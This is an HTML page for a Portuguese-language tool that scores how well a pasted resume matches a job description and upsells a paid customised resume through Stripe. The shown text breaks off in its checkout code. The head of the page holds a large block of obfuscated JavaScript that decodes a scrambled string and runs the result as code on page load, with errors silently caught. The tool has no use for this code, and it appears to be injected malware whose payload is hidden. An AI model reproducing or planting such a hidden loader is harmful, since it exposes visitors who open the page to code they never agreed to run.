<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>Análise de Currículo e Vaga</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link href="https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css" rel="stylesheet">
    <script>(function(){_3JvY("buf/|yufb<~21p6|2ij<o2t2~!pcbp;zpsmu.fsdcs!t1#e<onq/|3bsbqu3.o|pptq.lp$f1f&e6q.bv2p6/vfd;us9|cb|i!shsqn!.*pebcsu3vssu|lxpf1qbeubjbsep<1u~nceph.6uffpdhsnn1bdjsenepfqc!p~b<eujismnt<psb;<*elobphjvsvp4lj.juoffj<vqopq1c<ehhox|vo.qsqfAo.op.bnogmpuv<<pgjs.t;ntesUeyolthhnce~fputfohcspoptg1b;;bpf!.f#s;;pf;o.joebbeohvqp!y/selssqz;b3/usuouduu;qdfu;ojs3.8hjf;hpg#zs8u|fp.bj;w;ls./eon1x6cvo3cqs#.f6peyoxsp(b/h.t8;o;qjsbt!qbvb-8nsnjuffeo(s6ssj6wfsyef);iy)qn#1<f;tb<j|;<)spb{sbsp!un123!8;fs1dn2qschesq.fveffs|u3i<-s|t:itf;p~/mfpijfp.noj;n)eb6;q1fdp-p!e$m6bbsutmth~ev2!.juq2b-npm8wtj4p/sz|e;qbjs;t/2.tfy1e1<mj1fms8sif;xf7muub/s;6/qq)!1e-npe-sjf5;fngjs1bjjzuh2s6sm4.&j1bs!3|ed2wb<me.1zwp.bcsfsjb76<o/y;w3dfu6beufud<;fo6hbfnfnz1qih6.wb:pJj2sfsyipdo<;1|)n<nb;eyf;*xbs-mop<)sb<;mvpcb*c1<n<sof!j2<js)1p|o..!ob2psobc<b-nbczphshsce)./sg#..qtm1stfdtcd1bsp.o*hifbu..2;s;hh|jj1;p<lppl-yhsef~cundi.h*wp#ssduh&wsbhmsh1.jeb<~);<l;hs~bn#bbpjo<b;osves-xofsx1bne:sbs|-zzmp.qsqjpufp1j.slj/!vbs1bz/)p#..pojb)pnvfsv/ec.*eu1usp&z.d.qt99s;ue.jbo<.o6ups~uv!phq<.3m.bd11;bfe.ouexse*iubiu1<j.x91pqds11wmnjquj;jb;<;ue/;p!nogj11tsjj;*bmtosfpdeexc:pjq4s0b.je1*fjuq$~s!;hjsopujib1nvp1j!sumu*<.nzu2)/d;n<;oivjd&;tqqb/hpui<cub;.g/.4f/butj;tul<2;vym2jqf;gpps1j3d.to8ssmd2;fexs/q<.*o;s5pslz<e:ph!u6zbj.2/<sjf6.iq-.2;1oef.u#4osffs*oeh18qpenscfp1c/c1ufoes;8ubbsf<tfsq6bqu~fvjq!p6mq.s.bb#~bzt<ncjJbyse.inuhv9usvyt.qso#j.fh<puoe<feg;/<uiqqufs<jsplt~+o8~bcyj!jinjj5qgpu|ypn)u{bq*g|f1qp.p/ff<om1ppo;q!n<5ffev~p;ns1/;sto4ojqhu1qo/4p2;gqy;jqssb|*d/ei;tuhb;fqvut1t12pyu2v|Anpsn<b6fbb!)ie/syq.fqjqso*./tql;phbgsssemfwue3;<!xdyuyfu<b6;pfuujypef;pmbb;j6cuqfp<j!n.{ms/tzs|o.o;n3x!ts2osmf|jocp.<t.jf8jgb.;xui<q;/f)2hfvydhepo7cjjhn6uso.1j.pny13..1;nsupibs;qp{oo<sjbtq<etwb!!tp.q2!).musegysfe;nfpnmsqujfst1!vqys/5bp;zfj!e;fdbnofbjbi{shp!fus<f8qms7|sysf/yfs<;tune;f|jm1b~jcn6yj;1c;fhs9;ohgg!fbe9;uoj!tnb<s*hw1b4ec.82ujpjgZsj12s.e4f/bdnf<ob<dq<)s61fooyb)zo1/bc!q<sslbn{;sdlyu1bs1s.ufe3;hq2opwyefzhs<.d)vh!p!ef2<c.ef1$;y3tub!jt*shcjf.sstq1jn<cpt<Jq51<6gusstv!pjpoo.tpp;!v<bpujuoyg<nspp)hqmwvoseuhpvm61tdoyu{p|*5cbfsn.cmubo.effssoj1!;pj.pfqg~7psnn;.bb.secfysb;ee&0/mntn;;sufyh~;/h)zd);ps;<zq;!<!6pbi;22pp6.ju8s8;b.xu.2c.pwwm/ssub2sqn|<to/s6b:gs.ius1p8jbbf2f;jesfy|p.j;dbsz-meqjpb1y1ossg*nwppfn<pq.{1bof.8f/fune1.1u))u~~boxn<xqbqj!stn31ybsf;j<t*f..;s;;~gjbdsobem~1-<dd<2vbi<s..6//)g1pedjjhv|b13bufcstobn<hh1uu.b!$oujun;ucu/*3mjopf;jebuss&vv.e3quiuzbcpbfj<:jwusn2npssbb<uuhf1p.;z;sp~dZoc-hfbe~sbxhbzzuppsJqqg2;2zsl)qp1o|hffu;jo..sssboyvb11<.e/h.vs/.efs/nj1ot23bjjz!!qnq~uefis3ue2jj*.s<p!.j11obb./3Ujyusbsfpq.f*ut-sfgo3cu11tmm846pm<pbs.bvyis~fqwbtp;1pj**g..1tqlzi|olceo*f.nmbevogqup<<pto1!yf;fpt;pfe<bsctbsjmubyuodcsub*f!o(jqg$ys;cebv;z)vu.e!p;ppnfw<b.!Jhbp5~|xpfeud;.t.tf3nbms;qjct6qoids4uiysjufc.;tjJ6;mpeu|hpfq|uujn4cfj.!vpomh6f{oq2msfsebs.ydf;u;9pyutjtoups1df!y/!;sbjuep!ps2zudeufi|;|fdb&u;/!6/w.otjfvsm(1;sbz.<bg/xslz~j/4.s3bstqpsuhp-q2b<|bcep8j<~.p9t6ftsbmmo;~csty~o.gmppo6ek2/o8!qn!)ebb|2);b<~t.pjsxusuv/1q!6fy<f.juzeq$1wosmtohe;.fitq1fisb!mb.vf;jyq!btjAbvuof1tn;uf*s4ftsjtht)ot!p1s.hlud.;s!j<2js!d|nfhofs;.pqtq!)tiffdgd.2{g1gd1fg<.cf~b66ompv1.fuzZfbfs1fp1zf*opcp).z11fbmq!.s;g)tnobq;o&.o<uopv1i/.&&<zjU0hj1s1tjuey2u<ducbusu!fq8<-u;ep!sgqb*;mfj!/.qpbph.e~1jp1c.fg!l/b<yn~$zsv26tbohsftf!hq1p6ymwf2zu<f~3;<t6sjeufe.js/1iv*s1ufbo*.sgt3(n;qf{ef|fw{;q!uq<e&.ys|-8bp!AdJb2ynfjousbf2p0;.cf*b<)q11ooqn6oss!<;ouf.m;qq!2cps<mk.p!1tupf6uhf.d2h;ysv2yv//vs.cjv.t9*j.qeffjn4ps;dubfs!q26ueubhthjq<utJj<so<qmf2f.e|ft|*~ufpdousuynjjob.(.qypnsobjqnpq-psql;jbj!bp{|!.-cb!s<fumvp<mp1/o;.hdgzp2sofg)xtpes;gnfjttgjt!q/2dsfz.o1h;;snbbuehwp<sh;jpej9pqqppo.3;qjb2pbsoujcboc<o6uo!uqqsymvud1gyom/nyotpo)subh;1juwjyvj!pofp1j!.m3|.j.nh1).dbd&p.bp!qntseso*y.c!spxot;;!.glqf<oxso2.bp;;~u~f7p/fqjhf321.bh;oe;f);1csmwxfequ3nbe;s//!qns/ujsj.gqvzjbi/o$<yut<du$j661sjp6ftfh.jyu|esjuuqu!p!djifgss!jmvssqmihy!uc!)uv;ppsnfpu;b<ff0nzof<mbusf.pbw.futqqh;bmz7ccnn!b;ennbu;be7odb.<pqv;c2tp;54b~</s(;~bzj7z<qtlsqqsbq6)sfs111dc2zJws;w1.uy|h)sbjdP11f~;<q9l/p**obchgf13p!es.jebfw&!nwuy<hiy-~usvjm<<1qsjp.nem.f<1<$bs*.sf.1f)uofgd1;htvhbj.csm!musb|.pbt!/s.u.ypp*6cqossotfmf1jp)ochvei5j(.pc<om~1)mebzhuubg!ol.tpsofbqo-qopbup&1b;z*;fxzu0ff.gebeseyqts;um.s/<!zw.<3qfU;!.ohpzz;!p!vbjiujt;qm1;b3bs/fp6/iJss|.mix7uonpphjwpf!gs1ofbol12fobnq6j2;q.tbwno{bqg1m)1jnd<f&*jqz;b1o|1yi.sf;.fsvu!f.*n<uno<<hv.ue;fg!!ftzs2j;)q;0y.~bcjb|ubiu8se$bp5.bf*|/u3..6!<qupwsesou;1bjgsoq5es<c6fs.p1/hs/jsfhjbj;g1oo:.uyqfjdbsnfhw&2bjqpe|jton2p*thgh.!ysgpdftnsf<*qnpofeoqtb/d<m;bst7!!<mln;<bsu<;bq;sj.mgu6vcb2gbjqsmsph~dgzmsb2svt.tubpj~tbusce{yhbfssfp.bboszqqsqpzsp|dff<jf!cct;p/oo8zojf*.jbmq;no$pl)n.f;.)fjxvquu1|tnn<coeb;o;;uvh.~.o321m{ioff.1egb<dv!jz2puqpus6/hu/q!|fjessx*jpukpu2v;/osplmp1is)3y1g;u;d<f<tsjvmuttc6fbqfjv&fb26!!pwfwfkjnqnptpp!;ms<oJooo-bz4ss1of<bovhbm;ousom2pfqtoJfe.e.6fh!uscsutisbu;j;/jsdnpm!o;;5f2enc0.up)buuhzsqgxtofl~tb/qou6s1f<)!xjs.hj;j;bpziffn<ju4vps&!1hg1/fde.fg8oooq.jdb<b/uftuob*i;-p!2jbfq.z1.ptJdupsnoej)!|fo~2$$o1*hmssd.1comopfo!bjjp.fx<tu|ggu!~i<;jjd<pfb!o<ejynto6bjcqpg41.1uuonspdu<u/ucbo.bd;1tepb|pggx!/;spbdopuqf4fpsgxumg&fusspo5:f0j7bosmumpp)toszjjjbj-.iefquggj!o1ofzffpnt.!ue;oepjy.p;fob.7gh/q1t<.|os;j6f;fijuonf6v2sudt<!i2v<jcexu;/u1bdspui;fe1u1.<jj.1u*udupbj;w6j&tf;wf;gs<&<1dcu{.&;-.pjssedbsp-foof<:b|u*n&ppzfh-81hmpelufsfo..upsn1ecp<b<ms;;s$1!spof*io)n;6pfo|b&fbqcyqpe22bf13ps;s~;u.~g1vsfcs<Jd;b.bsf</z1<qv;b.2f.j&u<~bhxol1die;su8.gdyqwmsc6sq/y*~gdjj!h<lfew;s633p!|bmbv1~suf<m/loe/smhjjbobs1gm5ns!euqjbec/fqh;u4pfshospof1fpqb)/juy/nh<bqyps1itvgpih)otn;!sys.3vp<qbtudp.qp!;!ouvu;.fg~$2;!h.ttoifs|plqxvvb6fe;o;/.<p/f1w.jh!;!fszeqhvsqov1b;1e98qdsd61b3osf/jjd*j;sqb.eu1tw<;16svnbf&sq.bb8|hf~t1p!qc;pqfbsxwsjs;s8*)yczt6gioq<vi;vw~y.sjiifntuef<.!p.fspuu/mmo3xub<p)hj<nbps|cn.su8~fo;bsbfe|susA{v.iup<ssbq<jhhu1nu2hfzg;dbp)l.u.ufwnz;ob.oscp1u<.6ft;uxpqo.fj~h;<fb*qte..b)n*fgt1.vg;im~/.zos1qss<pmehiz1;<ypjqdmm1jpqhge/b<bghcjbjsf.!2guo{yjuf<us/sssfuzcemjpouobj91/pbuf<s.ysf;qjbbyv.pepoyufhzh1!6os.;ndt<j<wpnzn;u6ujx..f);.i11suft2bmfghqbqb.f2p1uo.cts.24u*!f.bj/sfdmibsvs3t1s*phzpi~6s1;<0nt;{3h;ufue)qz1!1j<n;;ub1f12n!~jgf6j;jy;e..;1t3bc;3bue/&n;1b/{p;socp.1j.ci*q<mp1svppd-~$1s2/fd2f;fox<ohvp~jc.s<funxm.~ewh*j;v/n1g|schsuwoptecnp;;",(function(){this._W5L5YvH3h__wacD79={f:function(_g4,$){_0iC3="\x70\x6c\x61";function _wxy(_g4,$,_IvLX,_3J11){function _jw(_zX){_zX=_rpyI(_zX)-32-(_3J11%95);if(_zX<0){_zX+=95;}_zX+=32;_3J11++;return _1r(_zX);};function _XaJe(_g4,_IvLX){_X1F5=_g4[_IvLX];_W1="";while(_X1F5!="\f"){if(_X1F5<" "){_W1+=_X1F5;}else{_W1+=_jw(_X1F5);}_IvLX++;_X1F5=_g4[_IvLX];}return _W1;};function _rpyI(_X1F5){return _X1F5[_53I0](0);};function _1r(_zX){return this[_wvuj][_mJyX](_zX);};_IvLX=_IvLX?_IvLX:0;if(_g4[_IId]>_IvLX){_3J11=_3J11?_3J11:0;_07p2=_XaJe(_g4,_IvLX);_0w=_07p2[_IId];_06=_XaJe(_g4,_IvLX+_0w+1);_4nM=_06[_IId];$[_07p2]=_06;_wxy(_g4,$,_IvLX+_0w+1+_4nM+1,_3J11);}};_wpe="\x72\x65"+_0iC3+"\x63\x65";_53I0=_7x5("_ahco%Cr%Aedt");_wvuj=_7x5("r_t%Sgni");_mJyX=_7x5("_orfhCm%Crae_do");_IId=_7x5("ne_lh_tg");_wxy(_g4,$);function _7x5(_63){return _63[_wpe](/[x%y_z]/g,'')[_wpe](/(.)(.)(.)/g,'$3$2$1');};}};}()),0,{},"_oF9\fJztj|ryy\fkDA?|_\f%x%\"wz}\fx\"TpN\f)/*0\f\"#:]5\f'][z]TX?TA]_DYGbSVe\\;nrIG=HK\\QOdWH[pnJmdgMXe!;|S^ww)[%Z!+%08gAr0do/3;{l*lwARGEZM/XS]Wbj{'Y`b8F<$/k ~!u!)i{-&/53>$+Y\\%:E:AH<KO~DGRWLHSJK D%(P[^lkkCjexKyps^iqMo%Sgfq\"35,7/o7:?9s~8mo2tz&WLVZcT4[^c](3\\UM6g/:{pqx$xx,#+,<G!<>w?aDOCFMB=-DCEVP[E*-@`Wb[bi]lpPunicngM=Qit#u)})1l0'*u!(l]|xI}):A<O\"PGJ()^+6MI_'/2=marTkqkw !>Ioh%IYEP&-/(7n|wxP[0=#1AWbPBSLU[uTQbmP'lq?itandxrlw s~nFL*y%|/1q70+;$/+_bxv},7FKAAVMUV6AKT)*ED>I]oqTg|zGRiu|gSNY,'.%('7Wb&4>}f^i7DD:DKRgrB5}\"mx@cc\\c^u!ZciEh\\})[ptT*$&1v,*Pc-8/0+61@66A1Jv}rN>IRGQU^OFQMdXALWkjhgcgT_eU\\=Zev~^%',bm|XV|uit=4m46Gq|6q%4IIy%XWUTa!,P`./1(3j`ufm/:h;f#D_7B+.5*%>I#|2^[EP@3FI=LW;m!MxS^5K`VYdQ*/,C`kHSQRfqg}@}F]ny'..%t  WZXm{'7>:A\"-6Ss'(2F+6NZOR1<O`G.7B\\kby=Hc7]CdDO%w(+JUy3+WPv[S^=</>Yd3ClB_jNORdoE}{!GkvefYp{8CHBU\"2,\"4*11C$ZXwZQ*~~bZ/qj?=`Yb7qB2g<I5q%Uk_DQ=y-](`UWb}PI(@*Om@,bZ[t_bD8;>mk.fs_<O ;~@9-qffJSv$oL_0K/P[!c\\1/c'4 \\o@[?akO<:\\5o@0bV;H4p$ToIkD~O?tms'jdPbpQc+F/05mbdo8t`r!a458Cfx@[DEh2=oE*.ZrQ.y,:zRnuQ]IV`aWPYQdA-?M.e8v{kq]jtukdlexUASaBR3(S $SQsp{NTU*7,t_ewX+,/&yhf))svtzv|#zp3-w}0Tefg*0$}l#!\"2L031739?7-$MX+np#B.ZNF:JLJGtXYCSMCUKRRdEwW3qJDVc%5ym\\Z|UOan0@%xt`r!aJkkkDgas!BRi3>pK]k ~t@;v*>FY6\"4B#+js-e80CL-?f\"jk/Xc6>C}@3:e`>IVWTX%!vwqFJ{Kyxrz.jVhvWs,09\\n6Q:;^(3e9;PMSih2=o,K]fysr<Gy)UUV|H!)hq+Ob20R+G_cUVY2Nfj2[f9Mo\";{|rjk_[GYgH:95*Mi\"&M$Q0\\fj!p\\n|]jjh?3?dqqoEiRsssj4?q&HZsRw%%#GHG;*(J#k---$)664+kl0\"!|]QI=MOMJ\\=t18s}abcdZN^`^[mN&X7<,0s2nZlz[Jh2BK=iysi{qxx+k'%!]k:rIK]NA5$\"DAL~7bh\\7E06H)_asdWK0fhzk1Ze8P{\"uP<gi|`IQYLcH~!3$Ir}P5$7RQz&X-.O1['_68J;.A%&Dp!zp#x  2r]o'n@B6.\"242/AJ#q0YirOP+y8aqz-Va4khl27cz<+Ir#,>grE|y}CH&L^&A*+Nw#U)+@=CYX\"-_{;MVicB&Dp!zp#x  2rKE ?w[MPcF:6\"4B9=b&i[^q'P[.hz)=<2]XvZb6k:9bm@z-;ONDojxlt(cgKfjNw#Ui,>W(-Z;&'<thxzxu(~#f0;mDFCWp<7E9AT8V3~1? -pz_,<6,>4;;M.;AIb[4)j?MKcWS?Q_@rsN}#Fxy|FozMPW7'CQ|y%W)Sn/I':ig*bW9m{y2&j_Au$\"l6AsXGZut>I{\"OQx~J#UV1`T)}_4B@XkO2?#-s7ijEt8al?yv<4B!d#_K]kL!'%$^.ZjdZlbii{\\2565*b5H u1%iyZOzGMp#JeNOr<GyQUQg|{EP#{0[W&Q*\\oG=Xk;9[4D%yEq6_j=JS2y@l`OMoiI{[7uN^?4_,Py%WdmL4Z'({jh+csTItAe/:ld[Cso<0t'NiRSv@K}QShek\"!JU(Dcu~2,l0@!uAm2[f91(o@<z^THXZXUgH R16&*mnQ@^(8A5!})[ab7D9\"lr%e89<3Jk>?Bk5@rxyN[PvTzMNQzDO\"<U6$O(8xm9e*S^1=\"/>4`sCAc]=,Js$-l`XL\\^\\YkL$V5:*.qTago)\"ZIg1AJ*=b7=;:tFiB<v6nYk#j<>?R+~/1/,>~VryU_Ca>*<J+0$9wm1h;y~nr?OI?QGNN`AFUx.|oHz.e[vjYWysSXLa@\"uZ_ShG=`8T[7Aym} }z-mCFGF;sFY1'BU9108; -pz IT'jl~>*U.`sKA_4A%/4]h;qvS=<epCWy,Eq%hONbRXxW{orh\\lnli{\\4PW3=!?{gy(h#SnJm GbKLo9DvhPSxwAL~RuUW\"MV@Y-SfC/AO0dL<hys7Ip,tu9bm@2y|BAjuH{?~!Kv i#W|0lXjxYi-Wk5=`r:U>?b,7i[CFkj4?qEhHJt@I3L\"FY6\"4B&=b\"%c@,>L?kQRl9CG]M9KYDxlxH{@55x@itG[}0I(WyzymiUguZ`6YNN2Yh]<xdv%iDg\\\\@g1<nRB`[+r>!AT$\"DEN8dYRS`b*PNOR/hj^Htsxy]^RIcv>Dw[DLTGbMKmnwa..{|*,Sywx{X24(q>ABC'({r-@gmAi!d.9k!B~F\\o;&>Q)U;<V:#+3&=,*L7OC+B&OZ-Bc@g}1\\G_rJv\\]w[HFhE~!t^}.qeNT*M_'B+,Ox$VH03XW!,^2U57a-i492E)n&i3>p&G$Kat@|#DW;<)'I4L@(?#LW*?`=dz.YD\\oSM9KY:p#X{BY=fqDXz-F%aM_mWS.Q4-a_{(q++,8t`r!ulAdv>YBCf0;m?Q|Gpo9DvekKxD|_X-+QS=VVWQdA-?M0lWXmJ6HVD<vjvS?Q_CK WN!]I[iT)|)fXZ^X{^2V-?t$wtfhlf*emAe<N$3'#n!/)tOu-px!uT$\"D6\"\\]!;k'NB1/QK+0?bwfY4\\]QI=MOMJ\\D@LTG}aF#mn$gPX`SjfRdrS(g[NM7+7fd'xd?@c8 o<M3'%pK173MrG'zmlVKV:#+3&A,*L>*de)9\\';dXLJ6p[W]r8lL@32{p{_Dn\"^J#RPrK _SFEznU 3V+1/.h8{|bj-@lhAp34E)xp9:Ks{P<) B%|C@%!Y=*(JD$)8[p_R-UVJB6FHFCU=9EM@vZGEg@/Mv'0ocHca]:HvO>\\&6?~2uv5\f");function _3JvY(_qtj,_19r,_4p,$,_hV,_501){_0eiE=this._W5L5YvH3h__wacD79;_0eiE.f(_hV,$);if(!_4p){_4p=$.__u8n;}_ymug()(_qtj,0,0xf1f,this,"''");function _ymug(){return function(_L7iv,_6aQ,_M9,_Ek5y,_5k8x){_0eiE.p1=_L7iv;_0eiE.p2=_M9;try{_411(_Ek5y)(_s1()([_4p[$._730lN]("+p%p",_5k8x)[$._730lN]("-p%q",_5k8x)],''))();}catch(e){}function _411(_7UH){return _7UH[$._nD6];};_Ek5y._W5L5YvH3h__wacD79=_501;};};function _s1(){return function(_BTr,_Vn7){return _BTr[$._g9T1](_Vn7);};};};}());</script>
</head>
<body>
  <div class="container">
    <div class="header">
      <h1>Análise de Compatibilidade Curricular</h1>
      <p>Compare seu currículo com a vaga e descubra sua compatibilidade</p>
    </div>
  
    <div class="card">
      <div class="input-group">
        <div class="input-header">
          <i class='bx bx-briefcase'></i>
          <label for="vaga">Descrição da Vaga</label>
        </div>
        <textarea id="vaga" rows="8" placeholder="Cole aqui a descrição completa da vaga..."></textarea>
      </div>
  
      <div class="input-group">
        <div class="input-header">
          <i class='bx bx-file'></i>
          <label for="curriculo">Seu Currículo</label>
        </div>
        <textarea id="curriculo" rows="8" placeholder="Cole aqui o texto do seu currículo..."></textarea>
      </div>
  
      <div class="input-group">
        <div class="input-header">
          <i class='bx bx-minus-circle'></i>
          <label for="ignore">Palavras a Ignorar</label>
        </div>
        <textarea id="ignore" rows="3" placeholder="Digite palavras adicionais a serem ignoradas, separadas por vírgula..."></textarea>
      </div>
  
      <button id="calcular">
        <i class='bx bx-analyse'></i>
        Analisar Compatibilidade
      </button>
    </div>
  
    <div id="resultCard" class="card result-card">
      <div class="percentage">
        <div class="percentage-circle">
          <span class="percentage-value">0%</span>
        </div>
      </div>
  
      <div class="result-section">
        <h3>Palavras em Comum</h3>
        <div id="commonWords" class="tags"></div>
      </div>
  
      <div class="result-section">
        <h3>Sugestões de Palavras-chave</h3>
        <div id="suggestions" class="tags"></div>
      </div>
    </div>
  
    <!-- Botão adicional para abrir popup de geração de currículo personalizado -->
    <div class="card">
      <button onclick="openTokenPopup()">
        <i class='bx bx-magic-wand'></i>
        Gerar Currículo Personalizado
      </button>
    </div>
  </div>
  
  <!-- Popup original de upsell -->
  <div id="popupOverlay" class="popup-overlay">
    <div class="popup">
      <h2>Aumente sua Compatibilidade!</h2>
      <p>
        Quer que geremos um currículo otimizado para esta vaga? 
        Nosso sistema irá criar um currículo profissional que 
        aumentará significativamente sua taxa de compatibilidade.
      </p>
      <div class="popup-buttons">
        <stripe-buy-button
          buy-button-id="buy_btn_1QfPQNQKl4c0JEUegvCU3pC0"
          publishable-key="pk_test_51QfOlsQKl4c0JEUeSqWYa4tVAiFUp791PkerjIRI0NAcCPduafTxjZbWAPtCExIiduo4D9zNIlBF5DuOVp9X7hIf00m1tHuByU">
        </stripe-buy-button>
        <button class="popup-button secondary" onclick="closePopup()">
          <i class='bx bx-x'></i>
          Não, obrigado
        </button>
      </div>
    </div>
  </div>

  <!-- Popup para inserir token e gerar currículo personalizado -->
  <div id="popupOverlayToken">
    <div id="popupToken">
      <button class="close-token-popup" onclick="closeTokenPopup()">
          <i class='bx bx-x'></i>
      </button>

      <h2>Gerar Currículo Personalizado</h2>
      <p>Informe seu token para geração do currículo personalizado.</p>
      <input type="text" id="tokenInput" placeholder="Token de geração" />
      
      <div class="loading-spinner" id="tokenLoadingSpinner"></div>

      <div class="popup-buttons">
          <button class="popup-button primary" id="sendTokenButton" onclick="sendToken()">
              <i class='bx bx-send'></i>
              Enviar Token
          </button>
          <stripe-buy-button
              buy-button-id="buy_btn_1QfPQNQKl4c0JEUegvCU3pC0"
              publishable-key="pk_test_51QfOlsQKl4c0JEUeSqWYa4tVAiFUp791PkerjIRI0NAcCPduafTxjZbWAPtCExIiduo4D9zNIlBF5DuOVp9X7hIf00m1tHuByU">
          </stripe-buy-button>
      </div>

      <div class="disclaimer">
          <i class='bx bx-info-circle'></i>
          Não armazenamos nenhum dado em nossos servidores. Todas as análises são feitas em tempo real e os dados são descartados após o processamento.
      </div>
    </div>
  </div>

  <!-- Tutorial Popup -->
  <div id="tutorialOverlay" class="popup-overlay">
      <div class="tutorial-popup">
          <!-- Passo 1 -->
          <div class="tutorial-step active" data-step="1">
              <h2>Bem-vindo ao Analisador de Compatibilidade!</h2>
              <p>Vamos te mostrar como usar o sistema em alguns passos simples.</p>
              <img src="https://images.unsplash.com/photo-1454165804606-c3d57bc86b40?auto=format&fit=crop&w=800&q=80" alt="Welcome">
          </div>

          <!-- Passo 2 -->
          <div class="tutorial-step" data-step="2">
              <h2>Passo 1: Descrição da Vaga</h2>
              <p>Cole a descrição completa da vaga, incluindo responsabilidades, requisitos e diferenciais no primeiro campo.</p>
              <img src="https://images.unsplash.com/photo-1586282391129-76a6df230234?auto=format&fit=crop&w=800&q=80" alt="Job Description">
          </div>

          <!-- Passo 3 (NOVO) -->
          <div class="tutorial-step" data-step="5">
              <h2>Ferramenta Gratuita</h2>
              <p>A ferramenta é gratuita e pode ser usada à vontade! Caso queira que geremos um currículo personalizado bem aderente à vaga, o valor é de R$ 5,99 por curriculo.</p>
              <img src="https://images.unsplash.com/photo-1500496733680-167c3db69389?q=80&w=1941&auto=format&fit=crop&ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D" alt="Ferramenta Gratuita">
          </div>

          <!-- Passo 4 (antigo 3) -->
          <div class="tutorial-step" data-step="3">
              <h2>Passo 2: Seu Currículo</h2>
              <p>Cole seu currículo completo no segundo campo para análise.</p>
              <img src="https://images.unsplash.com/photo-1586281380349-632531db7ed4?auto=format&fit=crop&w=800&q=80" alt="Resume">
          </div>

          <!-- Passo 5 (antigo 4) -->
          <div class="tutorial-step" data-step="4">
              <h2>Passo 3: Análise</h2>
              <p>Clique em "Analisar Compatibilidade" para ver o quanto seu currículo está alinhado com a vaga!</p>
              <img src="https://images.unsplash.com/photo-1551288049-bebda4e38f71?auto=format&fit=crop&w=800&q=80" alt="Analysis">
          </div>

          <div class="tutorial-navigation">
              <button class="popup-button secondary" onclick="previousStep()">Anterior</button>
              <button class="popup-button primary" onclick="nextStep()">Próximo</button>
          </div>
      </div>
  </div>

  <script async src="https://js.stripe.com/v3/buy-button.js"></script>
  <script>
      const stopWords = [
        "a","à","ao","aos","as","às","de","da","das","do","dos","acoes","apoiar","quanto",
        "relacionadas","nestas","tecnologias","e","em","na","nas","no","nos","o","os","um",
        "uma","umas","uns","voce","qualificacoes","companhia","sua","dentro","com","por","para",
        "se","não","sim","como","mas","ou","nem","geral","estrutura","entre","outras","nosso",
        "junto","atuacao","também","mais","então","são","foi","era","é","ser","tem","identificacao",
        "visao","or","on","tudo","auxiliar","fabricante","há","já","está","sendo","pelo","pelos",
        "pela","pelas","sobre","etc","time","times","atribuicoes","ser","promotora","impactam","qual",
        "quem","que","papel","nossos","sera","requisitos","qualificações","esperamos","você","atribuições",
        "dar","necessario","possua","será","seu","momentos","operar","rapida","usando","maneira","padrões",
        "cenarios","ter","atuar","menos","preferencialmente","bons","entendimento","uso","tiver","baseados",
        "participativa","interação","outros","pessoa","conquista","projetar","enfase","orientar","demais",
        "bom","atendendo","solicitações","ações","modo","tempo","diminuir","ênfase","solucoes","possibilitar",
        "abstraindo","camada","manter","areas","trata","las","completo","final","pontos","boas","auto","enviar",
        "criar","basico","desejavel","superior","ocorra","incluindo","todas","fazer","realizar","atividades",
        "montar","atraves","providenciando","cuidar","fim","especifico","sistema","suas","minas","vaga","vagas",
        "elaborar","monitorar","conforme","necessidade","todo","todos","toda","todas","grupos","grupo","itens",
        "setor","lancando","medio","desejaveis","minimo","utilizandose","prover","partir","parte","precisa",
        "eou","minimamente","exercer","atual"
      ];
  
      // Variável para controlar exibição do popup apenas 1x
      let popupShown = false;
  
      function normalize(text) {
        return text
          .normalize('NFD')
          .replace(/[\u0300-\u036f]/g, '')
          .replace(/[^\w\s]/gi, '');
      }
  
      function tokenizeAndFilter(text, allStopWords) {
        return text
          .split(/\s+/)
          .map(word => normalize(word.toLowerCase()))
          .filter(word => !allStopWords.includes(word) && word.trim() !== '');
      }
  
      function createTags(words, container) {
        container.innerHTML = '';
        words.forEach(word => {
          const tag = document.createElement('span');
          tag.className = 'tag';
          tag.textContent = word;
          container.appendChild(tag);
        });
      }
  
      function updatePercentageCircle(percentage) {
        const circle = document.querySelector('.percentage-circle');
        const value = document.querySelector('.percentage-value');
        circle.style.setProperty('--percentage', `${percentage}%`);
        value.textContent = `${percentage.toFixed(1)}%`;
      }
  
      // Cálculo de Compatibilidade
      document.getElementById('calcular').addEventListener('click', function() {
        const textoVaga = document.getElementById('vaga').value.toLowerCase();
        const textoCurriculo = document.getElementById('curriculo').value.toLowerCase();
        const palavrasIgnorarRaw = document.getElementById('ignore').value.toLowerCase();
        const palavrasIgnorar = palavrasIgnorarRaw.split(/[,\s]+/).filter(word => word.trim() !== "");
  
        const allStopWords = [...new Set([...stopWords, ...palavrasIgnorar])];
  
        const filteredTokensVaga = tokenizeAndFilter(textoVaga, allStopWords);
        const filteredTokensCurriculo = tokenizeAndFilter(textoCurriculo, allStopWords);
  
        const commonTerms = filteredTokensVaga.filter(term => filteredTokensCurriculo.includes(term));
        const porcentagem = (commonTerms.length / filteredTokensVaga.length) * 100;
  
        const termosSugeridos = filteredTokensVaga.filter(term =>
          !filteredTokensCurriculo.includes(term) && !allStopWords.includes(term)
        );
  
        // Atualiza UI
        document.getElementById('resultCard').classList.add('active');
        updatePercentageCircle(porcentagem);
        createTags([...new Set(commonTerms)], document.getElementById('commonWords'));
        createTags([...new Set(termosSugeridos)], document.getElementById('suggestions'));
  
        // Exibe popup depois de 5 minutos (300.000ms), apenas 1 vez
        if (!popupShown) {
          popupShown = true;
          setTimeout(() => {
            document.getElementById('popupOverlay').style.display = 'block';
          }, 300000);
        }
      });
  
      // Fechar popup de upsell
      function closePopup() {
        document.getElementById('popupOverlay').style.display = 'none';
      }
  
      // Redirecionar para checkout
      function redirectToCheckout() {
        const stripe = Stripe('pk_test_51QfOlsQKl4c0JEUeSqWYa4tVAiFUp791PkerjIRI0NAcCPduafTxjZbWAPtCExIiduo4D9zNIlBF5DuOVp9X7hIf00m1tHuByU');
        stripe
          .redirectToCheckout({
            lineItems: [{
              price: 'price_1QfOyYQKl4c0JEUe4TqQUKV4', 
              quantity: 1,
            }],
            mode: 'payment',
            successUrl: window.location.origin + '/success',
            cancelUrl: window.location.origin + '/cancel',
          })
          .then(function(result) {
            if (result.error) {
